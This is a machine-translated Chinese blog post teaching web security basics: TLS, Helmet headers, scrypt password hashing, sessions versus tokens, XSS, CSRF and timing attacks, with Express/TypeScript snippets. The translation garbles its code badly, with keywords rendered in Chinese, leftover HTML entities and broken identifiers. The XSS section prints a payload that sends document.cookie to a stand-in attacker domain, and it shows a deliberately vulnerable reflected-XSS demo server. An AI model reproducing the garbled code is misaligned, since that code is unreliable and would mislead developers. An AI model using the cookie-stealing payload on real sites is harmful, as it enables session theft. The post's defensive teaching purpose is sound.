username是什么意思中文(不得不知的网络安全知识)



本文原载于零碎博客。


去年年底,我在申请前端和全栈职位时经历了一些编码方面的挑战。虽然在细节上有些不同,但任务的主要内容是相同的。令我高兴的是,我真的学到了很多。在这里,我的目的是记录我在安全方面获得的新知识。


本文主要包括以下内容:


  • 设置:为Web应用的安全奠定基础。
  • 密码:保密。
  • 认证:会话、令牌及其优缺点。
  • 漏洞:XSS,csrf等。,以及如何减轻它们。

  • 因为我主要从事前端和全栈开发,所以这些例子都是用TypeScript写的。当然,这些概念是独立于语言的。

    设置


    让我们创建一个可靠的Express代码库作为构建基础。

    HTTPS


    2022年将使用传输层安全(TLS)。是的,这个安全层可以确保您的网站免受中间人攻击、窃听和篡改。你需要的只是一张证明。


    对于本地开发,要么创建一个自签名证书,要么使用lvh.me,它唯一的工作就是将任何请求反映到您自己的localhost(对于子域尤其方便)。


    当你在外面托管应用的时候,所有的现代服务——Vercel、Netlify、Heroku——都会帮你办理证书。如果你发现你需要一个证书,让& # 39;Senecrypt会帮助你,而且是免费的。

    报头(Headers)


    Express官方建议使用头盔适当设置头部,防止众所周知的Web漏洞。


    值得注意的是,头盔禁用x-powered-by(泄露的应用程序引擎的头字段),启用HSTS(告诉浏览器首先选择HTTPS),并禁用MIME类型嗅探(这是危险的,例如,当你正在加载一个文本文件,但你的浏览器认为它是文本/javascript)。如果想了解所有细节,可以看看头盔的默认设置。真的让人觉得很有道理。


    因此,Express服务器的基本代码可能如下所示:


    从& # 34;快递& # 34;; 从& # 34;fs & # 34; 从& # 34;头盔& # 34;; 从& # 34;https & # 34; 导入路径来自& # 34;路径& # 34;; const app = express(); //避免手动调整CSP、HSTS、X-Powered-By、MIME-sniffing等。;尽可能设置最严格的CSP。 app.use(头盔({ contentSecurityPolicy: {指令:{ default src:& # 34;'self & # 39"} } })); app . use(express . JSON()); const client = path . resolve(_ _ dirname,& # 34;../bUIld & # 34;); if(fs . exists sync(client))app . use(express . static(client)); app . get(& # 34;/healthz & # 34;,(_,RES)= & gt;{ RES . send({ message:& # 34;我们& # 39;re live & # 34});}); const http options = { key:fs . read file sync(path . join(_ _ dirname,& # 34;。/TLS/cert . key & # 34;)), cert:fs . read file sync(path . join(_ _ dirname,& # 34;。/TLS/cert . PEM & # 34;)), }; const port https = process . env . port _ HTTPS | | 8080; https . create server(https options,app)。listen(portHttps,async()= & gt;{ console.log(`HTTPS服务器侦听${ portHttps } `);//eslint-disable-line no-console });复制代码


    使用头盔和TLS的基本快速设置(代码来源:GitHub,文件:fullstack-security-server.ts)

    密码


    用户存储安全的基础是保护用户密码。让我们使用以下选项逐步优化:


  • 如果您以明文形式存储用户密码,如果有人访问您的数据库,所有用户帐户都会泄露。这可不好。
  • 让我们散列密码。这稍微好一点,但是如果攻击者有一个彩虹表——一个将普通字符串映射到它们的哈希值的表——那么将哈希值转换成普通字符串是一个非常简单的问题。
  • 一旦我们在哈希值中加入盐,情况将会大大改善。(Salt就是给每个密码加一个秘密随机串。)除非攻击者获得了对你服务器的访问权限——此时抵抗是徒劳的——他们找到你的盐罐,为特定的盐计算出一个彩虹表,否则他们无法将数据库中的哈希值翻译成普通的字符串。但是,有一种极端的情况。如果Elsa的密码恰好与Anna的密码相同,那么它们将被映射到相同的哈希值。这似乎可以接受,但如果你想感觉自己是专家呢?
  • 你可以为每个用户使用不同的盐。当然,你需要把salt和hash值放在一起,这样你就可以在登录时验证发送的凭证,这没什么。越来越好!如果攻击者有机会获得一些令人印象深刻的计算能力呢?
  • 此时,密钥派生函数就可以发挥作用了。这些函数实现了密钥扩展,它们接收一个(可能很弱的)密码,并故意让它的哈希值计算变得昂贵,也就是让蛮力变得不那么有用。Pbkdf2和scrypt就是两个这样的函数。

  • 具体来说,您可以使用Node.js的唯一crypto.s crypto (password,salt,64)来计算密码哈希值(长度为64个字符),并将saltsalt和password一起保存在每个用户的记录中。请注意,scrypt内部实际使用的是pbkdf2,但对计算哈希值所需的内存要求较高,进一步降低了暴力攻击的返回率。

    身份验证


    如果您没有登录,或者目前没有提交敏感信息,则没有被攻击的风险。只有当您访问服务并对其进行身份验证时,事情才会变得有趣。


    让我们回顾一下用户认证的常见方式:会话和令牌。

    (注意:我们用的是crypto。随机字节(64)。tostring(& # 34;十六进制& # 34;)生成随机字符串。)

    Cookie 中的会话


    Cookie是在服务器上创建并存储在用户设备(通常是浏览器)上的小数据块。


    它们的主要特点是,一旦它们被创建,它们将和所有对特定域名的请求一起在客户机和服务器之间传递,你不需要为此做任何工作。的标准会话流程非常简单:

  • 提交证书。
  • 在服务器上创建一个随机的sessionId,将其保存在数据库中,然后在Cookie中将其发送回去。
  • 然后,浏览器会自动将Cookie包含在后续请求中,这样服务器就可以验证这些请求是否如其所声称的那样。
  • 令牌


    您可能使用过JWT,但是在基于令牌的身份验证中,令牌可以是任何东西,只要可以验证它来自您的服务器。换句话说,它需要一个可信的签名。


    因为这种方法不使用任何标准机制(如Cookie),所以由客户端来确保令牌存在于所有身份验证请求中。因此,该过程类似于以下过程:


  • 提交证书。
  • 在服务器上创建一个签名令牌,并将其发送回客户端。
  • 将令牌保存在客户端,通常是本地存储。
  • 手动将令牌附加到将来的请求。
  • 会话 vs. 令牌


    以下是会话和令牌之间的主要区别:


  • 存储[/S2 :sessionId存储在服务器(数据库)和客户端(Cookie)中。令牌只存储在客户端,在某种程度上使它们成为无状态的。
  • 验证:验证Cookie中的sessionId时,需要查询数据库。对于令牌,您只需要验证令牌的签名。
  • 多域:实际上,Cookie只在单个域中可用。由于令牌是手动添加的,因此您可以将它们发送到任何目的地。这使得他们能够跨域获胜。此外,如您所见,使用令牌,您不需要考虑数据库查询。
  • Undo :因为可以在服务器上删除会话,所以可以一起撤消它们。并且必须在客户端删除该令牌。如果你需要“在所有设备上结账”的诱人功能,那么对话是更好的选择。当用户重置密码或账户被泄露时也是如此。(对于令牌,您可以添加一个禁止列表,列出下次不应该接受其令牌的用户,但这样一来,无国籍的好处就不存在了.....)
  • 漏洞:因为浏览器会自动包含Cookie,所以会话容易受到CSRF攻击。因为令牌通常存在于本地存储中,所以它们更容易被XSS窃取。下面将更详细地介绍CSRF和XSS。
  • (注意:理论上,您也可以在Cookie中存储令牌。但在我看来,这有点违背初衷,因为对CSRF的脆弱性就成了问题,跨域优势就没了。此外,JWT比sessionId大得多,将它们存储在Cookie中会增加开销。)


    如果想了解更多,可以看看token支持者的理由和session &Cookie支持者的理由。

    常见漏洞


    因为我们有一个正在运行的服务器,我们知道如何保护用户的信息,我们可以使用我们的服务对人进行认证,所以我们仍然容易受到一些常见漏洞的攻击。

    (注:这里我只介绍XSS和CSRF,但还有很多其他的漏洞。对于初学者,建议你看一下OWASP提供的这个列表。)

    跨站脚本攻击(XSS)


    很简单,XSS就是代码注入。主要思想是第三方可以在你的网站上执行他们不应该执行的代码。

    注入示例


    假设您有一个搜索字段。当提交表单时,用户被重定向到/?Search=whatever,搜索参数的内容显示在结果上方。这可以提醒用户他们搜索了什么。这样的UI是合理的吧?


    但是,我发给你的链接可能含有/?search = & lt脚本& gtalert(& # 39;booh!')& lt/script & gt;如果网站没有逃脱查询参数,你会看到一个报警窗口。


    好吧,如果你登录过谷歌,我给你发了一个包含/?search = & lt脚本& gt新图像()。src = " https://iamhatetacker . me/steal?session = & # 34%2bencodeURI(文档。cookie);& lt/script & gt;然后呢。


    你的浏览器会请求域名iamtheattacker.me下指定的URL,我就可以把你的Cookie(或者本地存储)里的所有内容拿到我服务器的日志里。这样,不管出于什么目的,我都可以假扮成你。


    const http = require(& # 34;http & # 34); const URL = require(& # 34;网址& # 34;); http 。createServer(function (req,RES){ const params = URL . parse(req . URL,true)。查询; RES . write( ` & lt;html & gt正在搜索& ltstrong & gt$ { params.search } & lt/strong & gt;。& ltbr/>;结果:...& lt/html & gt;` ); RES . end(); }) 。听(8080); 复制代码


    演示XSS机制的简单服务(代码来源:GitHub,文件:fullstack-security-xss.js)


    如果你想自己试试,以上是这种情况最简单的代码。您可以将上述有害查询粘贴到此处。在开发工具的网络选项卡中,您会发现对外部域的灾难性请求。


    我们在上面看到的叫做反射XSS。还有其他类型,如存储XSS,通过存储有害的东西(如在用户的帖子或评论中)进行攻击。然而,机理是完全相同的。

    你应该为此担心吗?


    现在,你必须不遗余力地做这些蠢事。幸运的是,所有的现代工具都在后台为你做了大量的规避工作。有工具帮助你验证用户输入,有详细的手册指导你发现可能仍然存在的漏洞。


    然而,总的来说,现代应用程序有很多外部依赖性——想想NPM——它们中的任何一个都可能试图窃取敏感的浏览器数据,就像上面例子中注入的代码一样。因为您的客户端依赖于对本地域中所有内容的访问,就像您自己的代码一样,所以您应该小心您所依赖的内容。

    Cookie vs. 令牌


    默认情况下,客户端代码可以访问与您的域名相关的Cookie和令牌。


    对于令牌,这很难处理。因为您需要手动将JWT放在授权头中,所以您不能拒绝您自己的代码以及任何相关的第三方代码对它的访问。所以,你要绝对保证恶意代码永远不会运行;一旦你做到了这一点,你就会成为他们的金矿。


    在这方面,基于Cookie的身份验证略胜一筹。您的代码不需要操作sessionId Cookie,因为浏览器和服务器在交换数据时会自动包含它。因此,您可以通过将其httpOnly参数设置为true来阻止JS访问Cookie。这样就不会被任何第三方劫持。

    跨站请求伪造(CSRF)


    CSRF,通常理解为海上冲浪,是一种操纵用户向其当前认证的应用程序提交意外请求的攻击。

    CSRF 示例


    夏洛克登录了他的银行,然后收到了莫里亚蒂的一封信,里面有链接/转账?Amount = 5000 & to =莫里亚蒂-1234钓鱼邮件。在收到这样的请求后,这家以简单著称的银行会从认证用户的账户中提取参数中的金额,并将其转到moriarty-1234。


    当心不在焉的夏洛克点击这个链接时,他的浏览器发送了一个Cookie,表明是他,银行非常乐意回复。莫里亚蒂赢得了战斗。


    "这太疯狂了。“你说得对。当然,没有人会改变GET请求中的状态。如果设置为POST,邮件中的链接将不再有效。然而,如果莫里亚蒂制作了一个令人信服的钓鱼网站,其表单的操作指向/transfer,并随适当的正文一起发送,那么我们又回到了原点。提交表格时,夏洛克的浏览器会发送一个Cookie来证明他的身份,然后银行会把钱转给莫里亚蒂。魔鬼又赢了。

    Cookie vs. 令牌


    正如您在上一节中所看到的,CSRF的危险在于,身份验证信息被受害者的浏览器自动包含在请求中,没有任何代码干扰。因为在令牌中没有这种行为,所以在基于令牌的认证中不容易发生CSRF。另一方面,基于cookie的认证非常容易发生。

    如何缓解?


    以下是预防CSRF的综合策略:


  • 将用户身份验证Cookie的sameSite属性设置为lax。这可以防止它在跨站点请求中被发送,除了“安全的”(不修改状态)GET和HEAD。换句话说,上面例子中的链接仍然可以工作,但是表单不行了。
  • 至少对所有状态更改请求禁用CORS。这样,第三方表单无法提交到您的端点。(在Express中,默认情况下禁用cors。但是,你见过多少次有人用app.use(cors())在整个API中启用?在我看来,这太简单了。)
  • 通过仔细检查服务器上的头,在API请求中强制使用content-type: application/json。

  • const api = express。路由器(); //强制使用内容类型“Application/JSON” API . use((req,RES,next)= >;{ if(req . headers[& # 34;内容类型& # 34;] !== "应用程序/JSON & # 34;){ res.status(400)。JSON({ message:& # 34;无效的内容类型。"}); } else { next(); } }); 复制代码

    (代码来源:GitHub,文件:full stack-security-content-type . ts)


    以上组合应该足够了。如果你真的想提交,你可以使用CSRF令牌。这很容易做到,真的。

    CSRF 令牌


    username是什么意思

    让服务器将一个随机的csrf令牌附加到为应用程序提供服务的每个响应上,并将其sameSite属性设置为strict,这意味着客户端将只包含源自这里的请求。


    当发出一个敏感的请求时,比如提交一个表单,客户端可以在请求中包含这个来自csrf Cookie的令牌,通常在x-csrf-token的头中。然后,服务器可以通过检查头值是否与csrf Cookie的值匹配来确保请求的有效性。


    //提供应用服务时 RES . Cookie(& # 34;xCsrfToken & # 34,generateToken(),{ maxAge: 1000 * 3600,same site:& # 34;严& # 34;}); //在客户端 获取(URL,{ 头:{ & # 34;内容类型& # 34;: "应用程序/JSON & # 34;, & # 34;x-csrf-token & # 34;:get cookie(& # 34;xCsrfToken & # 34) ?"", }, }); //在易受攻击的端点 if(!req . headers[& # 34;x-csrf-token & # 34;]| | req . headers[& # 34;x-csrf-token & # 34;] !==请求。cookie[& # 34;xCsrfToken & # 34]) { 返回res.status(400)。JSON({ message:& # 34;无效的CSRF令牌。"}); 复制代码

    (代码来源:GitHub,文件:fullstack-security-csrf.ts)

    时序攻击


    我们找点事做吧。


    以下代码的实现细节并不重要。能不能想办法收集用户是否有账号的信息?

    从& # 34;快递& # 34;; const authApi = express。路由器(); authapi . post(& # 34;/session & # 34;,async (req,RES)= & gt;{ const params:{ email:string;password:string } = req . body; if(!req . headers[& # 34;x-csrf-token & # 34;]| | req . headers[& # 34;x-csrf-token & # 34;] !==请求。cookie[& # 34;xCsrfToken & # 34]) { 返回res.status(400)。JSON({ message:& # 34;无效的CSRF令牌。"}); } const user = users . findbyemail(params . email); 如果(!用户||!users . verify password(params . password,user)) { 返回res.status(401)。JSON({ message:& # 34;无效凭据。"}); } const session id = generate token(); RES . Cookie(& # 34;sessionId & # 34,sessionId,{ httpOnly: true,maxAge: 1000 * 3600 * 24,same site:& # 34;松懈& # 34;}); Sessions.add({ sessionId,user email:user . email }); const response:API session RES = { email:user . email,name:user . name }; res.status(200)。json(响应); }); authapi . delete(& # 34;/session & # 34;,async (req,RES)= & gt;{ if (req。cookie[& # 34;sessionId & # 34]) Sessions.remove(req。cookie[& # 34;sessionId & # 34]); RES . clear cookie(& # 34;sessionId & # 34); res.status(200)。JSON({ message:& # 34;退出了。"}); }); 导出{ authApi }; 复制代码

    (代码来源:GitHub,文件:fullstack-security-auth.ts)


    这段代码我没发现什么问题,第三遍也没发现。但是,如果你用大量的请求轰炸服务器并计时,你会发现API对不存在的用户响应更快。


    为什么?第20行的条件需要很长时间来评估现有的帐户。下面的代码——向无效凭据响应添加随机延迟——应该可以减轻这种挑剔的信息泄漏:

    const user = users . findbyemail(params . email); 如果(!用户||!users . verify password(params . password,user)) { 等待新的承诺((resolve)= & gt;setTimeout(resolve,crypto.randomInt(11,111));//缓解计时攻击 返回res.status (401)。JSON({ message:& # 34;无效凭据。"}); } 复制代码

    (代码来源:GitHub,文件:full stack-security-auth-timing . ts)


    这里要提一下,在这个实现中,比较字符串也会让攻击者猜出一些他们不应该知道的信息。可以使用Node.js提供的类似crypto.timingSafeEquals的东西


    今天到此为止。我希望你喜欢这篇文章,并学到一些新的东西。


    查看英文原文:关于网络安全你应该知道什么

    您可以还会对下面的文章感兴趣

    暂无相关文章

    使用微信扫描二维码后

    点击右上角发送给好友